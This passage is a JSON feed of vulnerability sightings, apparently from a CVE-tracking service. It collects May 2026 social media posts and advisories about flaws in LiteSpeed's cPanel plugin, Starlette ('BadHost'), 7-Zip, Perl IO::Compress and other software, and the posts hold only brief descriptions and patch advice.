\n3 (Dual WPac Carriers, ROK SSN, Agentic AI Harness)\n        \n        \n\n            \nIncludes\n            \n13\n        \n        \n\n            \nMerlin Findings\n            \n4 (2 HIGH, 1 MEDIUM, 1 EXPLORE)\n        \n        \n\n            \nDropped Stale\n            \n5\n        \n        \n\n            \nDropped Dedup\n            \n1 (tech layoffs tracker)\n        \n        \n\n            \nFRED Series\n            \n14 / 14 valid\n        \n        \n\n            \nBrave Searches\n            \n37\n        \n        \n\n            \nRSS Feeds\n            \n23 feeds fetched\n        \n        \n\n            \nModel\n            \nclaude-sonnet-4-6\n        \n    \n\n\n\n", "creation_timestamp": "2026-05-26T20:32:04.000000Z"}, {"uuid": "632cf310-3020-46c0-9476-ceeb3ede8734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mmrv7iy5c22s", "content": "\ud83d\uded1 CVE-2026-48172\nLiteSpeed cPanel Plugin\nCVSS 10.0 / EPSS 0% / KEV\nTL;DR: LiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (poss\u2026\nhttps://cvesentinel.replit.app/report/CVE-2026-48172?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-05-26T21:01:06.239626Z"}, {"uuid": "610ff9b6-d847-4998-a6c5-16ea08e6d264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-cve-2026-48172-critical-litespeed-cpanelwhm-plugin-flaw-being-actively-exploited", "content": "", "creation_timestamp": "2026-05-26T09:28:11.000000Z"}, {"uuid": "6071d501-cc13-4d8e-b6d9-d22e79119a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/humanghostemoji.bsky.social/post/3mmrvt6536k2a", "content": "Millions of AI agents are exposed due to the \u201cBadHost\u201d vulnerability (CVE-2026-48710) in Starlette, used by FastAPI and vLLM. Versions prior to 1.0.1 allow trivial HTTP Host header exploits.\narstechnica.com/information-...", "creation_timestamp": "2026-05-26T21:12:04.800829Z"}, {"uuid": "58252923-febb-418f-8929-01816e7bb915", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/aibearnews.bsky.social/post/3mmrvomkxuy2q", "content": "\ud83d\udea8 Una falla critica mette a rischio milioni di AI agenti\n\nCVE-2026-48710 colpisce Starlette, base di FastAPI (325M download a settimana).\nUn carattere ruba credenziali da MCP e LiteLLM.\nAggiorna a Starlette 1.0.1\n\nFonte: arstechnica.com\n\nSegui\n\n#IA #Cybersecurity\n \ud83d\udd12 \ud83d\udc0d \ud83d\udce2", "creation_timestamp": "2026-05-26T21:09:30.088880Z"}, {"uuid": "0d47d335-77f9-4c33-b3d3-2ec797c20a1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/agentwyre.ai/post/3mmryxw33pt2s", "content": "\ud83d\udd34 BadHost in Starlette puts FastAPI, vLLM, LiteLLM, and MCP servers at risk of auth bypass\n\nA newly disclosed Starlette flaw, CVE-2026-48710,...\n\nhttps://arstechnica.com/information-technology/2026/05/millions-of-ai-agents-imperiled-by-critical-vulnerability-in-open-source-package/\n\n#AI #AgentWyre", "creation_timestamp": "2026-05-26T22:08:23.293861Z"}, {"uuid": "42426cb5-050e-4157-a34e-2e56b64dff77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mmrzgshnyk2n", "content": "\u3010\u8981\u8b66\u6212\u30117-Zip\u306b\u30d2\u30fc\u30d7\u30d0\u30c3\u30d5\u30a1\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u30a2\u53ef\u80fd\u306a\u5371\u967a\u306a\u8106\u5f31\u6027-CVE-2026-48095\n\n7-Zip\u306f\u81ea\u52d5\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306f\u3042\u308a\u307e\u305b\u3093\u3002\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews", "creation_timestamp": "2026-05-26T22:16:47.403252Z"}, {"uuid": "027cd0ff-0513-4803-87c9-290fbf8dff4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48689", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mms2fvvfpe2h", "content": "CVE-2026-48689 - FastNetMon Heap-Based Buffer Overflow Vulnerability\nCVE ID : CVE-2026-48689\n \n Published : May 26, 2026, 7:16 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : FastNetMon Community Edition through 1.2.9 contains an off-by-one heap-based buffer overflow in the dyn...", "creation_timestamp": "2026-05-26T22:34:06.715155Z"}, {"uuid": "8081e89f-47ae-49cb-bee3-6cb705b1fad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mmsbkplmsz2q", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30921\u4ef6\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCISA Adds One Known Exploited Vulnerability to Catalog  #CISA (May 26)\n\nCVE-2026-48172  LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-05-27T00:42:14.487820Z"}, {"uuid": "6ae6c23f-8a61-4073-bd31-943c9f8526ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmsdhpsf2h2v", "content": "CVE-2026-48710 - Starlette has missing Host header validation that poisons request.url.path, bypassing path-based security checks\nCVE ID : CVE-2026-48710\n \n Published : May 26, 2026, 10:16 p.m. | 2\u00a0hours, 15\u00a0minutes ago\n \n Description : Starlette is a lightweight ASGI framewor...", "creation_timestamp": "2026-05-27T01:16:10.898407Z"}, {"uuid": "f65b35e7-f1c2-4de1-aa76-f4ddb73c3c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/bugxhunter.bsky.social/post/3mmsfxonynz2x", "content": "\ud83c\udfdb\ufe0f CISA Adds LiteSpeed cPanel Plugin Privilege Escalation Vulnerability\n\n\ud83d\udcdd CISA adds CVE-2026-48172 to KEV Catalog, affecting federal agencies.\n\nhttps://www.cisa.gov/news-events/alerts/2026/05/26/cisa-adds-one-known-exploited-vulnerability-catalog\n\n\ud83d\udcf0 Alerts\n\n#GovSec #CVE", "creation_timestamp": "2026-05-27T02:00:53.893501Z"}, {"uuid": "5f5935bb-8432-4e4d-9d78-f1290d3c9aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmshngckkv2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-45250: 72 interactions\nCVE-2026-45584: 65 interactions\nCVE-2026-46727: 22 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-48710: 11 interactions\nCVE-2026-28952: 3 interactions\nCVE-2026-45659: 3 interactions\n", "creation_timestamp": "2026-05-27T02:30:57.994377Z"}, {"uuid": "a313811b-6a1c-45b7-b328-4cb09efe2170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48962", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116644657711662061", "content": "\u26a0\ufe0f HIGH severity: CVE-2026-48962 in PMQS IO::Compress (Perl <2.220) enables eval injection via crafted glob strings. Arbitrary Perl code may execute with process privileges. Restrict untrusted input & monitor for patches. https://radar.offseq.com/threat/cve-2026-48962-cwe-95-improper-neutralization-of-d-a4f0eb17 #OffSeq #Vuln #Perl #Infosec", "creation_timestamp": "2026-05-27T04:30:28.090137Z"}, {"uuid": "b8ccdc29-0b96-41c5-83d8-f1ab5dc4f442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48962", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mmsod6gi4p22", "content": "HIGH severity alert: Eval injection in PMQS IO::Compress (<2.220) lets attackers run arbitrary Perl code via crafted output globs. Restrict to trusted input, patch when available. https://radar.offseq.com/threat/cve-2026-48962-cwe-95-improper-neutralization-of-d-a4f0eb17 #OffSeq #Vulnerability #Perl", "creation_timestamp": "2026-05-27T04:30:31.157720Z"}, {"uuid": "f24ad49d-9d8e-4199-9120-544a010d3643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48961", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmspttjznl2z", "content": "CVE-2026-48961: IO::Compress versions from 2.207 before 2.220 for Perl ship a zipdetails CLI tool that crashes with undefined subroutine on Info-ZIP Unix Extra Field with 8-byte UID or GID", "creation_timestamp": "2026-05-27T04:57:44.535832Z"}, {"uuid": "83de3b61-251d-4e35-bbc6-b079591ba3b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48962", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmsq4sqpjn2s", "content": "CVE-2026-48962: IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob", "creation_timestamp": "2026-05-27T05:02:43.394229Z"}, {"uuid": "87dfa388-fcf2-4ca7-a9d8-c0c0c856411f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48959", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmsq7tel7g2i", "content": "CVE-2026-48959 - IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward\nCVE ID : CVE-2026-48959\n \n Published : May 27, 2026, 4:16 a.m. | 15\u00a0minutes ago\n \n Description : IO::Uncompress::Unzip versions before 2.220 for Per...", "creation_timestamp": "2026-05-27T05:04:24.815414Z"}, {"uuid": "6f4b0dba-8aa7-4952-8e19-dfc0cebad2cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48095", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mmsq77gmsktq", "content": "7-Zip\u306b\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\u3002\u30d0\u30fc\u30b8\u30e7\u30f326.00\u4ee5\u4e0b\u306b\u5f71\u97ff\u300226.01\u4ee5\u4e0a\u3078\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092 | \u30cb\u30c3\u30c1\u306aPC\u30b2\u30fc\u30de\u30fc\u306e\u74b0\u5883\u69cb\u7bc9Z https://www.nichepcgamer.com/archives/7-zip-vulnerability-cve-2026-48095.html", "creation_timestamp": "2026-05-27T05:04:46.807572Z"}, {"uuid": "d0c31ed9-4830-48bc-b3d1-2dc56a3c9811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48962", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmsqdoedpx2i", "content": "CVE-2026-48962 - IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob\nCVE ID : CVE-2026-48962\n \n Published : May 27, 2026, 4:16 a.m. | 15\u00a0minutes ago\n \n Description : IO::Compress versions before 2.22...", "creation_timestamp": "2026-05-27T05:06:33.783160Z"}, {"uuid": "38481a2c-e25d-4f43-8af3-4fe605395186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48959", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmsqfrv2ht2x", "content": "CVE-2026-48959: IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward", "creation_timestamp": "2026-05-27T05:07:44.562939Z"}, {"uuid": "3a08e6cd-15c0-4c83-af96-cb5dae637c7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48961", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmsr4ju5ia2i", "content": "CVE-2026-48961 - IO::Compress versions from 2.207 before 2.220 for Perl ship a zipdetails CLI tool that crashes with undefined subroutine on Info-ZIP Unix Extra Field with 8-byte UID or GID\nCVE ID : CVE-2026-48961\n \n Published : May 27, 2026, 4:16 a.m. | 15\u00a0minutes ago\n \n Desc...", "creation_timestamp": "2026-05-27T05:20:28.047089Z"}, {"uuid": "d86e69c7-d56f-42e5-a3d1-76dcb00fa459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48999", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmsrdatlg52p", "content": "CVE-2026-48999 - Stored Cross-Site Scripting (XSS) vulnerability in ZTE ZXUniPOS NDS-LTE product\nCVE ID : CVE-2026-48999\n \n Published : May 27, 2026, 4:16 a.m. | 15\u00a0minutes ago\n \n Description : Attackers carefully craft malicious scripts, such as JavaScript, and inject them in...", "creation_timestamp": "2026-05-27T05:24:13.452491Z"}, {"uuid": "00b8d536-7cf2-4c11-84ff-212c117b7c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mmstxsdncstq", "content": "CVE-2026-48172 LiteSpeed cPanel Plugin Privilege Escalation Vulnerability", "creation_timestamp": "2026-05-27T06:12:13.780281Z"}, {"uuid": "e6c25795-2db0-451a-ba94-a43693293310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4893", "type": "seen", "source": "https://t.me/GithubRedTeam/86071", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE20264893poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lottiedeyan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-27 05:56:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGenerate the poc for CVE-2026-4893: broken EDNS Client Subnet validation.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-27T06:00:06.000000Z"}, {"uuid": "87c074ff-2fb1-4614-b1b6-a0a57fc574bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mmswxbuwu22x", "content": "CVE-2026-48172 in LiteSpeed cPanel user-end plugin is actively exploited and enables root-level script execution; patch to 2.4.5+ or remove plugin immediately.\n", "creation_timestamp": "2026-05-27T07:04:55.003864Z"}, {"uuid": "e9aaad77-84cf-4200-92e1-b99d4caf0bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mmsxhp2mdy2s", "content": "BadHost \u2013 CVE-2026-48710 Starlette Host-Header Auth Bypass\n\nDiscussion", "creation_timestamp": "2026-05-27T07:14:05.666266Z"}, {"uuid": "763403af-cd8c-41c9-842c-4e59a827ee34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mmsxlcnily2g", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass\nDiscussion | hackernews | Author: ylk", "creation_timestamp": "2026-05-27T07:16:06.406343Z"}, {"uuid": "348ba34f-ccc8-4ece-ab2d-e9ac6b677633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mmsxmzlf6k2t", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass\ncomments \u00b7 posted on 2026.05.26 at 05:07:18 (c=3, p=14)", "creation_timestamp": "2026-05-27T07:17:04.210724Z"}, {"uuid": "93cb26e4-4e87-4dac-a869-bd7a876bd8c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hnbot.gsuscs.xyz/post/3mmsyfqgnsk2q", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass\n\nhttps://badhost.org/", "creation_timestamp": "2026-05-27T07:30:52.960021Z"}, {"uuid": "a54caa28-90ef-473f-81e0-07d5987c8a8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mmsywah7tl27", "content": "CVE-2026-48710 Starlette Host-Header Auth Bypass https://lobste.rs/s/cmsgwo #python #web ", "creation_timestamp": "2026-05-27T07:40:07.266716Z"}, {"uuid": "58669d0e-b444-425c-a808-fd65e686f52e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/tongzhuodeni.bsky.social/post/3mmt2j6ua2e2s", "content": "\u538b\u7f29\u8f6f\u4ef6\u88ab\u516c\u5f00\u6f0f\u6d1e\uff0c\u8fd8\u9644\u8d60\u4e00\u6761\u9493\u9c7c\u6377\u5f84\n\n7-Zip \u88ab\u516c\u5f00\u9ad8\u5371\u6f0f\u6d1e\uff08CVE-2026-48095\uff09\uff0c\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u7279\u5236\u538b\u7f29\u6587\u4ef6\u6267\u884c\u4efb\u610f\u4ee3\u7801\u6216\u81f4\u5d29\u6e83\uff0c\u8be5\u6f0f\u6d1e\u5728 26.01 \u7248\u672c\u4e2d\u5df2\u4fee\u590d\u3002\n\n\u6d88\u606f\u6765\u6e90\uff1aSocprime Blog\nhttps://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/", "creation_timestamp": "2026-05-27T08:08:36.369439Z"}, {"uuid": "aecfc032-5a64-4ba6-8d1e-48a55742bfa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/xakep_ru/19433", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c BadHost \u0432\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Starlette \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u043e\u0432\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-48710, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u043e\u043c Python-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Starlette \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 BadHost. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 Starlette \u043b\u0435\u0436\u0438\u0442 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 FastAPI \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0418\u0418-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0432 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 Host.\n\nhttps://xakep.ru/2026/05/27/badhost/", "creation_timestamp": "2026-05-27T08:36:11.000000Z"}, {"uuid": "ca12435c-450b-4bbb-a0d0-849db7558a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hackernewstop5.bsky.social/post/3mmt2wi4qcz24", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass\n\n#HackerNews\n\nhttps://badhost.org/", "creation_timestamp": "2026-05-27T08:16:03.467871Z"}, {"uuid": "fdc8fb93-9d2e-4d59-9512-fe9ba7cffe20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mmt2xm5dfp2c", "content": "CISA\u304ccPanel\u306eLiteSpeed\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306e\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u8981\u8acb\n\nCISA\u306f\u706b\u66dc\u65e5\u3001\u91ce\u5916\u3067\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308bcPanel\u5411\u3051LiteSpeed\u30e6\u30fc\u30b6\u30fc\u30a8\u30f3\u30c9\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u6df1\u523b\u306a\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u3001\u9023\u90a6\u6a5f\u95a2\u306b\u5bfe\u3057\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u6c42\u3081\u305f\u3002 CVE-2026-48172\uff08CVSS\u30b9\u30b3\u30a29.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u6b20\u9665\u306f\u3001\u653b\u6483\u8005\u304croot\u6a29\u9650\u3067\u4efb\u610f\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u6a29\u9650\u6607", "creation_timestamp": "2026-05-27T08:16:40.155676Z"}, {"uuid": "719ada30-c8b1-42b8-87fd-1e2f961ffd64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/hackernewsbot.bsky.social/post/3mmt35nop3s2y", "content": "BadHost \u2013 CVE-2026-48710: Starlette Host-Header Auth Bypass | Discussion", "creation_timestamp": "2026-05-27T08:20:02.966960Z"}, {"uuid": "f5357133-fca7-4be6-bdb1-eed368e470ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/humanghostemoji.bsky.social/post/3mmt43k6gjs23", "content": "Millions of AI agents are exposed due to the \u201cBadHost\u201d vulnerability (CVE-2026-48710) in Starlette, used by FastAPI and vLLM. Versions prior to 1.0.1 allow trivial HTTP Host header exploits.\narstechnica.com/information-...", "creation_timestamp": "2026-05-27T08:36:46.102230Z"}, {"uuid": "41603efb-a674-461d-8aa8-89ce7f4010fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mmt5jetana2a", "content": "CVE-2026-48710 in Starlette enables HTTP Host header manipulation to bypass access controls, risking internal server exposure and credential access for AI agents.\n", "creation_timestamp": "2026-05-27T09:02:25.137022Z"}, {"uuid": "382d9562-bba2-44c6-b7cf-805b8329e1ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mmt5zygnj22b", "content": "Critical Security Alert BadHost Authentication Bypass Vulnerability CVE-2026-48710 Found in Starlette Framework Impacting AI Infrastructure #appsec", "creation_timestamp": "2026-05-27T09:11:41.286947Z"}, {"uuid": "99622543-7702-421c-905f-7ec649098b5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmt7w6mipq2d", "content": "CISA added CVE-2026-48172 to its exploited vulnerabilities list. The LiteSpeed cPanel plugin flaw can let attackers gain root access via arbitrary script execution. Patch with LiteSpeed WHM Plugin 5.3.1.0+ #LiteSpeed #cPanel #CISA", "creation_timestamp": 